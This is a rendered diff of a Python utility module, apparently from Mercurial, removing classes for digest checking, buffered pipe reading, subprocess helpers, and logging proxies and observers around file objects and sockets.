293 |
|
||||
294 | def __getitem__(self, key): |
|
|||
295 | if key not in DIGESTS: |
|
|||
296 | raise Abort(_('unknown digest type: %s') % k) |
|
|||
297 | return nodemod.hex(self._hashes[key].digest()) |
|
|||
298 |
|
||||
299 | def __iter__(self): |
|
|||
300 | return iter(self._hashes) |
|
|||
301 |
|
||||
302 | @staticmethod |
|
|||
303 | def preferred(supported): |
|
|||
304 | """returns the strongest digest type in both supported and DIGESTS.""" |
|
|||
305 |
|
||||
306 | for k in DIGESTS_BY_STRENGTH: |
|
|||
307 | if k in supported: |
|
|||
308 | return k |
|
|||
309 | return None |
|
|||
310 |
|
||||
311 | class digestchecker(object): |
|
|||
312 | """file handle wrapper that additionally checks content against a given |
|
|||
313 | size and digests. |
|
|||
314 |
|
||||
315 | d = digestchecker(fh, size, {'md5': '...'}) |
|
|||
316 |
|
||||
317 | When multiple digests are given, all of them are validated. |
|
|||
318 | """ |
|
|||
319 |
|
||||
320 | def __init__(self, fh, size, digests): |
|
|||
321 | self._fh = fh |
|
|||
322 | self._size = size |
|
|||
323 | self._got = 0 |
|
|||
324 | self._digests = dict(digests) |
|
|||
325 | self._digester = digester(self._digests.keys()) |
|
|||
326 |
|
||||
327 | def read(self, length=-1): |
|
|||
328 | content = self._fh.read(length) |
|
|||
329 | self._digester.update(content) |
|
|||
330 | self._got += len(content) |
|
|||
331 | return content |
|
|||
332 |
|
||||
333 | def validate(self): |
|
|||
334 | if self._size != self._got: |
|
|||
335 | raise Abort(_('size mismatch: expected %d, got %d') % |
|
|||
336 | (self._size, self._got)) |
|
|||
337 | for k, v in self._digests.items(): |
|
|||
338 | if v != self._digester[k]: |
|
|||
339 | # i18n: first parameter is a digest name |
|
|||
340 | raise Abort(_('%s mismatch: expected %s, got %s') % |
|
|||
341 | (k, v, self._digester[k])) |
|
|||
342 |
|
||||
343 | try: |
|
|||
344 | buffer = buffer |
|
|||
345 | except NameError: |
|
|||
346 | def buffer(sliceable, offset=0, length=None): |
|
|||
347 | if length is not None: |
|
|||
348 | return memoryview(sliceable)[offset:offset + length] |
|
|||
349 | return memoryview(sliceable)[offset:] |
|
|||
350 |
|
||||
351 | closefds = pycompat.isposix |
|
|||
352 |
|
||||
353 | _chunksize = 4096 |
|
|||
354 |
|
||||
355 | class bufferedinputpipe(object): |
|
|||
356 | """a manually buffered input pipe |
|
|||
357 |
|
||||
358 | Python will not let us use buffered IO and lazy reading with 'polling' at |
|
|||
359 | the same time. We cannot probe the buffer state and select will not detect |
|
|||
360 | that data are ready to read if they are already buffered. |
|
|||
361 |
|
||||
362 | This class let us work around that by implementing its own buffering |
|
|||
363 | (allowing efficient readline) while offering a way to know if the buffer is |
|
|||
364 | empty from the output (allowing collaboration of the buffer with polling). |
|
|||
365 |
|
||||
366 | This class lives in the 'util' module because it makes use of the 'os' |
|
|||
367 | module from the python stdlib. |
|
|||
368 | """ |
|
|||
369 | def __new__(cls, fh): |
|
|||
370 | # If we receive a fileobjectproxy, we need to use a variation of this |
|
|||
371 | # class that notifies observers about activity. |
|
|||
372 | if isinstance(fh, fileobjectproxy): |
|
|||
373 | cls = observedbufferedinputpipe |
|
|||
374 |
|
||||
375 | return super(bufferedinputpipe, cls).__new__(cls) |
|
|||
376 |
|
||||
377 | def __init__(self, input): |
|
|||
378 | self._input = input |
|
|||
379 | self._buffer = [] |
|
|||
380 | self._eof = False |
|
|||
381 | self._lenbuf = 0 |
|
|||
382 |
|
||||
383 | @property |
|
|||
384 | def hasbuffer(self): |
|
|||
385 | """True is any data is currently buffered |
|
|||
386 |
|
||||
387 | This will be used externally a pre-step for polling IO. If there is |
|
|||
388 | already data then no polling should be set in place.""" |
|
|||
389 | return bool(self._buffer) |
|
|||
390 |
|
||||
391 | @property |
|
|||
392 | def closed(self): |
|
|||
393 | return self._input.closed |
|
|||
394 |
|
||||
395 | def fileno(self): |
|
|||
396 | return self._input.fileno() |
|
|||
397 |
|
||||
398 | def close(self): |
|
|||
399 | return self._input.close() |
|
|||
400 |
|
||||
401 | def read(self, size): |
|
|||
402 | while (not self._eof) and (self._lenbuf < size): |
|
|||
403 | self._fillbuffer() |
|
|||
404 | return self._frombuffer(size) |
|
|||
405 |
|
||||
406 | def readline(self, *args, **kwargs): |
|
|||
407 | if 1 < len(self._buffer): |
|
|||
408 | # this should not happen because both read and readline end with a |
|
|||
409 | # _frombuffer call that collapse it. |
|
|||
410 | self._buffer = [''.join(self._buffer)] |
|
|||
411 | self._lenbuf = len(self._buffer[0]) |
|
|||
412 | lfi = -1 |
|
|||
413 | if self._buffer: |
|
|||
414 | lfi = self._buffer[-1].find('\n') |
|
|||
415 | while (not self._eof) and lfi < 0: |
|
|||
416 | self._fillbuffer() |
|
|||
417 | if self._buffer: |
|
|||
418 | lfi = self._buffer[-1].find('\n') |
|
|||
419 | size = lfi + 1 |
|
|||
420 | if lfi < 0: # end of file |
|
|||
421 | size = self._lenbuf |
|
|||
422 | elif 1 < len(self._buffer): |
|
|||
423 | # we need to take previous chunks into account |
|
|||
424 | size += self._lenbuf - len(self._buffer[-1]) |
|
|||
425 | return self._frombuffer(size) |
|
|||
426 |
|
||||
427 | def _frombuffer(self, size): |
|
|||
428 | """return at most 'size' data from the buffer |
|
|||
429 |
|
||||
430 | The data are removed from the buffer.""" |
|
|||
431 | if size == 0 or not self._buffer: |
|
|||
432 | return '' |
|
|||
433 | buf = self._buffer[0] |
|
|||
434 | if 1 < len(self._buffer): |
|
|||
435 | buf = ''.join(self._buffer) |
|
|||
436 |
|
||||
437 | data = buf[:size] |
|
|||
438 | buf = buf[len(data):] |
|
|||
439 | if buf: |
|
|||
440 | self._buffer = [buf] |
|
|||
441 | self._lenbuf = len(buf) |
|
|||
442 | else: |
|
|||
443 | self._buffer = [] |
|
|||
444 | self._lenbuf = 0 |
|
|||
445 | return data |
|
|||
446 |
|
||||
447 | def _fillbuffer(self): |
|
|||
448 | """read data to the buffer""" |
|
|||
449 | data = os.read(self._input.fileno(), _chunksize) |
|
|||
450 | if not data: |
|
|||
451 | self._eof = True |
|
|||
452 | else: |
|
|||
453 | self._lenbuf += len(data) |
|
|||
454 | self._buffer.append(data) |
|
|||
455 |
|
||||
456 | return data |
|
|||
457 |
|
||||
458 | def mmapread(fp): |
|
|||
459 | try: |
|
|||
460 | fd = getattr(fp, 'fileno', lambda: fp)() |
|
|||
461 | return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
|
|||
462 | except ValueError: |
|
|||
463 | # Empty files cannot be mmapped, but mmapread should still work. Check |
|
|||
464 | # if the file is empty, and if so, return an empty buffer. |
|
|||
465 | if os.fstat(fd).st_size == 0: |
|
|||
466 | return '' |
|
|||
467 | raise |
|
|||
468 |
|
||||
469 | def popen2(cmd, env=None, newlines=False): |
|
|||
470 | # Setting bufsize to -1 lets the system decide the buffer size. |
|
|||
471 | # The default for bufsize is 0, meaning unbuffered. This leads to |
|
|||
472 | # poor performance on Mac OS X: http://bugs.python.org/issue4194 |
|
|||
473 | p = subprocess.Popen(cmd, shell=True, bufsize=-1, |
|
|||
474 | close_fds=closefds, |
|
|||
475 | stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
|
|||
476 | universal_newlines=newlines, |
|
|||
477 | env=env) |
|
|||
478 | return p.stdin, p.stdout |
|
|||
479 |
|
||||
480 | def popen3(cmd, env=None, newlines=False): |
|
|||
481 | stdin, stdout, stderr, p = popen4(cmd, env, newlines) |
|
|||
482 | return stdin, stdout, stderr |
|
|||
483 |
|
||||
484 | def popen4(cmd, env=None, newlines=False, bufsize=-1): |
|
|||
485 | p = subprocess.Popen(cmd, shell=True, bufsize=bufsize, |
|
|||
486 | close_fds=closefds, |
|
|||
487 | stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
|
|||
488 | stderr=subprocess.PIPE, |
|
|||
489 | universal_newlines=newlines, |
|
|||
490 | env=env) |
|
|||
491 | return p.stdin, p.stdout, p.stderr, p |
|
|||
492 |
|
||||
493 | class fileobjectproxy(object): |
|
|||
494 | """A proxy around file objects that tells a watcher when events occur. |
|
|||
495 |
|
||||
496 | This type is intended to only be used for testing purposes. Think hard |
|
|||
497 | before using it in important code. |
|
|||
498 | """ |
|
|||
499 | __slots__ = ( |
|
|||
500 | r'_orig', |
|
|||
501 | r'_observer', |
|
|||
502 | ) |
|
|||
503 |
|
||||
504 | def __init__(self, fh, observer): |
|
|||
505 | object.__setattr__(self, r'_orig', fh) |
|
|||
506 | object.__setattr__(self, r'_observer', observer) |
|
|||
507 |
|
||||
508 | def __getattribute__(self, name): |
|
|||
509 | ours = { |
|
|||
510 | r'_observer', |
|
|||
511 |
|
||||
512 | # IOBase |
|
|||
513 | r'close', |
|
|||
514 | # closed if a property |
|
|||
515 | r'fileno', |
|
|||
516 | r'flush', |
|
|||
517 | r'isatty', |
|
|||
518 | r'readable', |
|
|||
519 | r'readline', |
|
|||
520 | r'readlines', |
|
|||
521 | r'seek', |
|
|||
522 | r'seekable', |
|
|||
523 | r'tell', |
|
|||
524 | r'truncate', |
|
|||
525 | r'writable', |
|
|||
526 | r'writelines', |
|
|||
527 | # RawIOBase |
|
|||
528 | r'read', |
|
|||
529 | r'readall', |
|
|||
530 | r'readinto', |
|
|||
531 | r'write', |
|
|||
532 | # BufferedIOBase |
|
|||
533 | # raw is a property |
|
|||
534 | r'detach', |
|
|||
535 | # read defined above |
|
|||
536 | r'read1', |
|
|||
537 | # readinto defined above |
|
|||
538 | # write defined above |
|
|||
539 | } |
|
|||
540 |
|
||||
541 | # We only observe some methods. |
|
|||
542 | if name in ours: |
|
|||
543 | return object.__getattribute__(self, name) |
|
|||
544 |
|
||||
545 | return getattr(object.__getattribute__(self, r'_orig'), name) |
|
|||
546 |
|
||||
547 | def __nonzero__(self): |
|
|||
548 | return bool(object.__getattribute__(self, r'_orig')) |
|
|||
549 |
|
||||
550 | __bool__ = __nonzero__ |
|
|||
551 |
|
||||
552 | def __delattr__(self, name): |
|
|||
553 | return delattr(object.__getattribute__(self, r'_orig'), name) |
|
|||
554 |
|
||||
555 | def __setattr__(self, name, value): |
|
|||
556 | return setattr(object.__getattribute__(self, r'_orig'), name, value) |
|
|||
557 |
|
||||
558 | def __iter__(self): |
|
|||
559 | return object.__getattribute__(self, r'_orig').__iter__() |
|
|||
560 |
|
||||
561 | def _observedcall(self, name, *args, **kwargs): |
|
|||
562 | # Call the original object. |
|
|||
563 | orig = object.__getattribute__(self, r'_orig') |
|
|||
564 | res = getattr(orig, name)(*args, **kwargs) |
|
|||
565 |
|
||||
566 | # Call a method on the observer of the same name with arguments |
|
|||
567 | # so it can react, log, etc. |
|
|||
568 | observer = object.__getattribute__(self, r'_observer') |
|
|||
569 | fn = getattr(observer, name, None) |
|
|||
570 | if fn: |
|
|||
571 | fn(res, *args, **kwargs) |
|
|||
572 |
|
||||
573 | return res |
|
|||
574 |
|
||||
575 | def close(self, *args, **kwargs): |
|
|||
576 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
577 | r'close', *args, **kwargs) |
|
|||
578 |
|
||||
579 | def fileno(self, *args, **kwargs): |
|
|||
580 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
581 | r'fileno', *args, **kwargs) |
|
|||
582 |
|
||||
583 | def flush(self, *args, **kwargs): |
|
|||
584 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
585 | r'flush', *args, **kwargs) |
|
|||
586 |
|
||||
587 | def isatty(self, *args, **kwargs): |
|
|||
588 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
589 | r'isatty', *args, **kwargs) |
|
|||
590 |
|
||||
591 | def readable(self, *args, **kwargs): |
|
|||
592 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
593 | r'readable', *args, **kwargs) |
|
|||
594 |
|
||||
595 | def readline(self, *args, **kwargs): |
|
|||
596 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
597 | r'readline', *args, **kwargs) |
|
|||
598 |
|
||||
599 | def readlines(self, *args, **kwargs): |
|
|||
600 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
601 | r'readlines', *args, **kwargs) |
|
|||
602 |
|
||||
603 | def seek(self, *args, **kwargs): |
|
|||
604 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
605 | r'seek', *args, **kwargs) |
|
|||
606 |
|
||||
607 | def seekable(self, *args, **kwargs): |
|
|||
608 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
609 | r'seekable', *args, **kwargs) |
|
|||
610 |
|
||||
611 | def tell(self, *args, **kwargs): |
|
|||
612 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
613 | r'tell', *args, **kwargs) |
|
|||
614 |
|
||||
615 | def truncate(self, *args, **kwargs): |
|
|||
616 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
617 | r'truncate', *args, **kwargs) |
|
|||
618 |
|
||||
619 | def writable(self, *args, **kwargs): |
|
|||
620 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
621 | r'writable', *args, **kwargs) |
|
|||
622 |
|
||||
623 | def writelines(self, *args, **kwargs): |
|
|||
624 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
625 | r'writelines', *args, **kwargs) |
|
|||
626 |
|
||||
627 | def read(self, *args, **kwargs): |
|
|||
628 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
629 | r'read', *args, **kwargs) |
|
|||
630 |
|
||||
631 | def readall(self, *args, **kwargs): |
|
|||
632 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
633 | r'readall', *args, **kwargs) |
|
|||
634 |
|
||||
635 | def readinto(self, *args, **kwargs): |
|
|||
636 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
637 | r'readinto', *args, **kwargs) |
|
|||
638 |
|
||||
639 | def write(self, *args, **kwargs): |
|
|||
640 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
641 | r'write', *args, **kwargs) |
|
|||
642 |
|
||||
643 | def detach(self, *args, **kwargs): |
|
|||
644 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
645 | r'detach', *args, **kwargs) |
|
|||
646 |
|
||||
647 | def read1(self, *args, **kwargs): |
|
|||
648 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
649 | r'read1', *args, **kwargs) |
|
|||
650 |
|
||||
651 | class observedbufferedinputpipe(bufferedinputpipe): |
|
|||
652 | """A variation of bufferedinputpipe that is aware of fileobjectproxy. |
|
|||
653 |
|
||||
654 | ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that |
|
|||
655 | bypass ``fileobjectproxy``. Because of this, we need to make |
|
|||
656 | ``bufferedinputpipe`` aware of these operations. |
|
|||
657 |
|
||||
658 | This variation of ``bufferedinputpipe`` can notify observers about |
|
|||
659 | ``os.read()`` events. It also re-publishes other events, such as |
|
|||
660 | ``read()`` and ``readline()``. |
|
|||
661 | """ |
|
|||
662 | def _fillbuffer(self): |
|
|||
663 | res = super(observedbufferedinputpipe, self)._fillbuffer() |
|
|||
664 |
|
||||
665 | fn = getattr(self._input._observer, r'osread', None) |
|
|||
666 | if fn: |
|
|||
667 | fn(res, _chunksize) |
|
|||
668 |
|
||||
669 | return res |
|
|||
670 |
|
||||
671 | # We use different observer methods because the operation isn't |
|
|||
672 | # performed on the actual file object but on us. |
|
|||
673 | def read(self, size): |
|
|||
674 | res = super(observedbufferedinputpipe, self).read(size) |
|
|||
675 |
|
||||
676 | fn = getattr(self._input._observer, r'bufferedread', None) |
|
|||
677 | if fn: |
|
|||
678 | fn(res, size) |
|
|||
679 |
|
||||
680 | return res |
|
|||
681 |
|
||||
682 | def readline(self, *args, **kwargs): |
|
|||
683 | res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) |
|
|||
684 |
|
||||
685 | fn = getattr(self._input._observer, r'bufferedreadline', None) |
|
|||
686 | if fn: |
|
|||
687 | fn(res) |
|
|||
688 |
|
||||
689 | return res |
|
|||
690 |
|
||||
691 | PROXIED_SOCKET_METHODS = { |
|
|||
692 | r'makefile', |
|
|||
693 | r'recv', |
|
|||
694 | r'recvfrom', |
|
|||
695 | r'recvfrom_into', |
|
|||
696 | r'recv_into', |
|
|||
697 | r'send', |
|
|||
698 | r'sendall', |
|
|||
699 | r'sendto', |
|
|||
700 | r'setblocking', |
|
|||
701 | r'settimeout', |
|
|||
702 | r'gettimeout', |
|
|||
703 | r'setsockopt', |
|
|||
704 | } |
|
|||
705 |
|
||||
706 | class socketproxy(object): |
|
|||
707 | """A proxy around a socket that tells a watcher when events occur. |
|
|||
708 |
|
||||
709 | This is like ``fileobjectproxy`` except for sockets. |
|
|||
710 |
|
||||
711 | This type is intended to only be used for testing purposes. Think hard |
|
|||
712 | before using it in important code. |
|
|||
713 | """ |
|
|||
714 | __slots__ = ( |
|
|||
715 | r'_orig', |
|
|||
716 | r'_observer', |
|
|||
717 | ) |
|
|||
718 |
|
||||
719 | def __init__(self, sock, observer): |
|
|||
720 | object.__setattr__(self, r'_orig', sock) |
|
|||
721 | object.__setattr__(self, r'_observer', observer) |
|
|||
722 |
|
||||
723 | def __getattribute__(self, name): |
|
|||
724 | if name in PROXIED_SOCKET_METHODS: |
|
|||
725 | return object.__getattribute__(self, name) |
|
|||
726 |
|
||||
727 | return getattr(object.__getattribute__(self, r'_orig'), name) |
|
|||
728 |
|
||||
729 | def __delattr__(self, name): |
|
|||
730 | return delattr(object.__getattribute__(self, r'_orig'), name) |
|
|||
731 |
|
||||
732 | def __setattr__(self, name, value): |
|
|||
733 | return setattr(object.__getattribute__(self, r'_orig'), name, value) |
|
|||
734 |
|
||||
735 | def __nonzero__(self): |
|
|||
736 | return bool(object.__getattribute__(self, r'_orig')) |
|
|||
737 |
|
||||
738 | __bool__ = __nonzero__ |
|
|||
739 |
|
||||
740 | def _observedcall(self, name, *args, **kwargs): |
|
|||
741 | # Call the original object. |
|
|||
742 | orig = object.__getattribute__(self, r'_orig') |
|
|||
743 | res = getattr(orig, name)(*args, **kwargs) |
|
|||
744 |
|
||||
745 | # Call a method on the observer of the same name with arguments |
|
|||
746 | # so it can react, log, etc. |
|
|||
747 | observer = object.__getattribute__(self, r'_observer') |
|
|||
748 | fn = getattr(observer, name, None) |
|
|||
749 | if fn: |
|
|||
750 | fn(res, *args, **kwargs) |
|
|||
751 |
|
||||
752 | return res |
|
|||
753 |
|
||||
754 | def makefile(self, *args, **kwargs): |
|
|||
755 | res = object.__getattribute__(self, r'_observedcall')( |
|
|||
756 | r'makefile', *args, **kwargs) |
|
|||
757 |
|
||||
758 | # The file object may be used for I/O. So we turn it into a |
|
|||
759 | # proxy using our observer. |
|
|||
760 | observer = object.__getattribute__(self, r'_observer') |
|
|||
761 | return makeloggingfileobject(observer.fh, res, observer.name, |
|
|||
762 | reads=observer.reads, |
|
|||
763 | writes=observer.writes, |
|
|||
764 | logdata=observer.logdata, |
|
|||
765 | logdataapis=observer.logdataapis) |
|
|||
766 |
|
||||
767 | def recv(self, *args, **kwargs): |
|
|||
768 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
769 | r'recv', *args, **kwargs) |
|
|||
770 |
|
||||
771 | def recvfrom(self, *args, **kwargs): |
|
|||
772 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
773 | r'recvfrom', *args, **kwargs) |
|
|||
774 |
|
||||
775 | def recvfrom_into(self, *args, **kwargs): |
|
|||
776 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
777 | r'recvfrom_into', *args, **kwargs) |
|
|||
778 |
|
||||
779 | def recv_into(self, *args, **kwargs): |
|
|||
780 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
781 | r'recv_info', *args, **kwargs) |
|
|||
782 |
|
||||
783 | def send(self, *args, **kwargs): |
|
|||
784 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
785 | r'send', *args, **kwargs) |
|
|||
786 |
|
||||
787 | def sendall(self, *args, **kwargs): |
|
|||
788 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
789 | r'sendall', *args, **kwargs) |
|
|||
790 |
|
||||
791 | def sendto(self, *args, **kwargs): |
|
|||
792 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
793 | r'sendto', *args, **kwargs) |
|
|||
794 |
|
||||
795 | def setblocking(self, *args, **kwargs): |
|
|||
796 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
797 | r'setblocking', *args, **kwargs) |
|
|||
798 |
|
||||
799 | def settimeout(self, *args, **kwargs): |
|
|||
800 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
801 | r'settimeout', *args, **kwargs) |
|
|||
802 |
|
||||
803 | def gettimeout(self, *args, **kwargs): |
|
|||
804 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
805 | r'gettimeout', *args, **kwargs) |
|
|||
806 |
|
||||
807 | def setsockopt(self, *args, **kwargs): |
|
|||
808 | return object.__getattribute__(self, r'_observedcall')( |
|
|||
809 | r'setsockopt', *args, **kwargs) |
|
|||
810 |
|
23 | |||
811 | _DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)} |
|
24 | _DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)} | |
812 | _DATA_ESCAPE_MAP.update({ |
|
25 | _DATA_ESCAPE_MAP.update({ | |
@@ -822,1755 +35,10 b' def escapedata(s):' | |||||
822 |
|
35 | |||
823 | return _DATA_ESCAPE_RE.sub(lambda m: _DATA_ESCAPE_MAP[m.group(0)], s) |
|
36 | return _DATA_ESCAPE_RE.sub(lambda m: _DATA_ESCAPE_MAP[m.group(0)], s) | |
824 |
|
37 | |||
825 | class baseproxyobserver(object): |
|
|||
826 | def _writedata(self, data): |
|
|||
827 | if not self.logdata: |
|
|||
828 | if self.logdataapis: |
|
|||
829 | self.fh.write('\n') |
|
|||
830 | self.fh.flush() |
|
|||
831 | return |
|
|||
832 |
|
||||
833 | # Simple case writes all data on a single line. |
|
|||
834 | if b'\n' not in data: |
|
|||
835 | if self.logdataapis: |
|
|||
836 | self.fh.write(': %s\n' % escapedata(data)) |
|
|||
837 | else: |
|
|||
838 | self.fh.write('%s> %s\n' % (self.name, escapedata(data))) |
|
|||
839 | self.fh.flush() |
|
|||
840 | return |
|
|||
841 |
|
||||
842 | # Data with newlines is written to multiple lines. |
|
|||
843 | if self.logdataapis: |
|
|||
844 | self.fh.write(':\n') |
|
|||
845 |
|
||||
846 | lines = data.splitlines(True) |
|
|||
847 | for line in lines: |
|
|||
848 | self.fh.write('%s> %s\n' % (self.name, escapedata(line))) |
|
|||
849 | self.fh.flush() |
|
|||
850 |
|
||||
851 | class fileobjectobserver(baseproxyobserver): |
|
|||
852 | """Logs file object activity.""" |
|
|||
853 | def __init__(self, fh, name, reads=True, writes=True, logdata=False, |
|
|||
854 | logdataapis=True): |
|
|||
855 | self.fh = fh |
|
|||
856 | self.name = name |
|
|||
857 | self.logdata = logdata |
|
|||
858 | self.logdataapis = logdataapis |
|
|||
859 | self.reads = reads |
|
|||
860 | self.writes = writes |
|
|||
861 |
|
||||
862 | def read(self, res, size=-1): |
|
|||
863 | if not self.reads: |
|
|||
864 | return |
|
|||
865 | # Python 3 can return None from reads at EOF instead of empty strings. |
|
|||
866 | if res is None: |
|
|||
867 | res = '' |
|
|||
868 |
|
||||
869 | if self.logdataapis: |
|
|||
870 | self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res))) |
|
|||
871 |
|
||||
872 | self._writedata(res) |
|
|||
873 |
|
||||
874 | def readline(self, res, limit=-1): |
|
|||
875 | if not self.reads: |
|
|||
876 | return |
|
|||
877 |
|
||||
878 | if self.logdataapis: |
|
|||
879 | self.fh.write('%s> readline() -> %d' % (self.name, len(res))) |
|
|||
880 |
|
||||
881 | self._writedata(res) |
|
|||
882 |
|
||||
883 | def readinto(self, res, dest): |
|
|||
884 | if not self.reads: |
|
|||
885 | return |
|
|||
886 |
|
||||
887 | if self.logdataapis: |
|
|||
888 | self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest), |
|
|||
889 | res)) |
|
|||
890 |
|
||||
891 | data = dest[0:res] if res is not None else b'' |
|
|||
892 | self._writedata(data) |
|
|||
893 |
|
||||
894 | def write(self, res, data): |
|
|||
895 | if not self.writes: |
|
|||
896 | return |
|
|||
897 |
|
||||
898 | # Python 2 returns None from some write() calls. Python 3 (reasonably) |
|
|||
899 | # returns the integer bytes written. |
|
|||
900 | if res is None and data: |
|
|||
901 | res = len(data) |
|
|||
902 |
|
||||
903 | if self.logdataapis: |
|
|||
904 | self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res)) |
|
|||
905 |
|
||||
906 | self._writedata(data) |
|
|||
907 |
|
||||
908 | def flush(self, res): |
|
|||
909 | if not self.writes: |
|
|||
910 | return |
|
|||
911 |
|
||||
912 | self.fh.write('%s> flush() -> %r\n' % (self.name, res)) |
|
|||
913 |
|
||||
914 | # For observedbufferedinputpipe. |
|
|||
915 | def bufferedread(self, res, size): |
|
|||
916 | if not self.reads: |
|
|||
917 | return |
|
|||
918 |
|
||||
919 | if self.logdataapis: |
|
|||
920 | self.fh.write('%s> bufferedread(%d) -> %d' % ( |
|
|||
921 | self.name, size, len(res))) |
|
|||
922 |
|
||||
923 | self._writedata(res) |
|
|||
924 |
|
||||
925 | def bufferedreadline(self, res): |
|
|||
926 | if not self.reads: |
|
|||
927 | return |
|
|||
928 |
|
||||
929 | if self.logdataapis: |
|
|||
930 | self.fh.write('%s> bufferedreadline() -> %d' % ( |
|
|||
931 | self.name, len(res))) |
|
|||
932 |
|
||||
933 | self._writedata(res) |
|
|||
934 |
|
||||
935 | def makeloggingfileobject(logh, fh, name, reads=True, writes=True, |
|
|||
936 | logdata=False, logdataapis=True): |
|
|||
937 | """Turn a file object into a logging file object.""" |
|
|||
938 |
|
||||
939 | observer = fileobjectobserver(logh, name, reads=reads, writes=writes, |
|
|||
940 | logdata=logdata, logdataapis=logdataapis) |
|
|||
941 | return fileobjectproxy(fh, observer) |
|
|||
942 |
|
||||
943 | class socketobserver(baseproxyobserver): |
|
|||
944 | """Logs socket activity.""" |
|
|||
945 | def __init__(self, fh, name, reads=True, writes=True, states=True, |
|
|||
946 | logdata=False, logdataapis=True): |
|
|||
947 | self.fh = fh |
|
|||
948 | self.name = name |
|
|||
949 | self.reads = reads |
|
|||
950 | self.writes = writes |
|
|||
951 | self.states = states |
|
|||
952 | self.logdata = logdata |
|
|||
953 | self.logdataapis = logdataapis |
|
|||
954 |
|
||||
955 | def makefile(self, res, mode=None, bufsize=None): |
|
|||
956 | if not self.states: |
|
|||
957 | return |
|
|||
958 |
|
||||
959 | self.fh.write('%s> makefile(%r, %r)\n' % ( |
|
|||
960 | self.name, mode, bufsize)) |
|
|||
961 |
|
||||
962 | def recv(self, res, size, flags=0): |
|
|||
963 | if not self.reads: |
|
|||
964 | return |
|
|||
965 |
|
||||
966 | if self.logdataapis: |
|
|||
967 | self.fh.write('%s> recv(%d, %d) -> %d' % ( |
|
|||
968 | self.name, size, flags, len(res))) |
|
|||
969 | self._writedata(res) |
|
|||
970 |
|
||||
971 | def recvfrom(self, res, size, flags=0): |
|
|||
972 | if not self.reads: |
|
|||
973 | return |
|
|||
974 |
|
||||
975 | if self.logdataapis: |
|
|||
976 | self.fh.write('%s> recvfrom(%d, %d) -> %d' % ( |
|
|||
977 | self.name, size, flags, len(res[0]))) |
|
|||
978 |
|
||||
979 | self._writedata(res[0]) |
|
|||
980 |
|
||||
981 | def recvfrom_into(self, res, buf, size, flags=0): |
|
|||
982 | if not self.reads: |
|
|||
983 | return |
|
|||
984 |
|
||||
985 | if self.logdataapis: |
|
|||
986 | self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % ( |
|
|||
987 | self.name, size, flags, res[0])) |
|
|||
988 |
|
||||
989 | self._writedata(buf[0:res[0]]) |
|
|||
990 |
|
||||
991 | def recv_into(self, res, buf, size=0, flags=0): |
|
|||
992 | if not self.reads: |
|
|||
993 | return |
|
|||
994 |
|
||||
995 | if self.logdataapis: |
|
|||
996 | self.fh.write('%s> recv_into(%d, %d) -> %d' % ( |
|
|||
997 | self.name, size, flags, res)) |
|
|||
998 |
|
||||
999 | self._writedata(buf[0:res]) |
|
|||
1000 |
|
||||
1001 | def send(self, res, data, flags=0): |
|
|||
1002 | if not self.writes: |
|
|||
1003 | return |
|
|||
1004 |
|
||||
1005 | self.fh.write('%s> send(%d, %d) -> %d' % ( |
|
|||
1006 | self.name, len(data), flags, len(res))) |
|
|||
1007 | self._writedata(data) |
|
|||
1008 |
|
||||
1009 | def sendall(self, res, data, flags=0): |
|
|||
1010 | if not self.writes: |
|
|||
1011 | return |
|
|||
1012 |
|
||||
1013 | if self.logdataapis: |
|
|||
1014 | # Returns None on success. So don't bother reporting return value. |
|
|||
1015 | self.fh.write('%s> sendall(%d, %d)' % ( |
|
|||
1016 | self.name, len(data), flags)) |
|
|||
1017 |
|
||||
1018 | self._writedata(data) |
|
|||
1019 |
|
||||
1020 | def sendto(self, res, data, flagsoraddress, address=None): |
|
|||
1021 | if not self.writes: |
|
|||
1022 | return |
|
|||
1023 |
|
||||
1024 | if address: |
|
|||
1025 | flags = flagsoraddress |
|
|||
1026 | else: |
|
|||
1027 | flags = 0 |
|
|||
1028 |
|
||||
1029 | if self.logdataapis: |
|
|||
1030 | self.fh.write('%s> sendto(%d, %d, %r) -> %d' % ( |
|
|||
1031 | self.name, len(data), flags, address, res)) |
|
|||
1032 |
|
||||
1033 | self._writedata(data) |
|
|||
1034 |
|
||||
1035 | def setblocking(self, res, flag): |
|
|||
1036 | if not self.states: |
|
|||
1037 | return |
|
|||
1038 |
|
||||
1039 | self.fh.write('%s> setblocking(%r)\n' % (self.name, flag)) |
|
|||
1040 |
|
||||
1041 | def settimeout(self, res, value): |
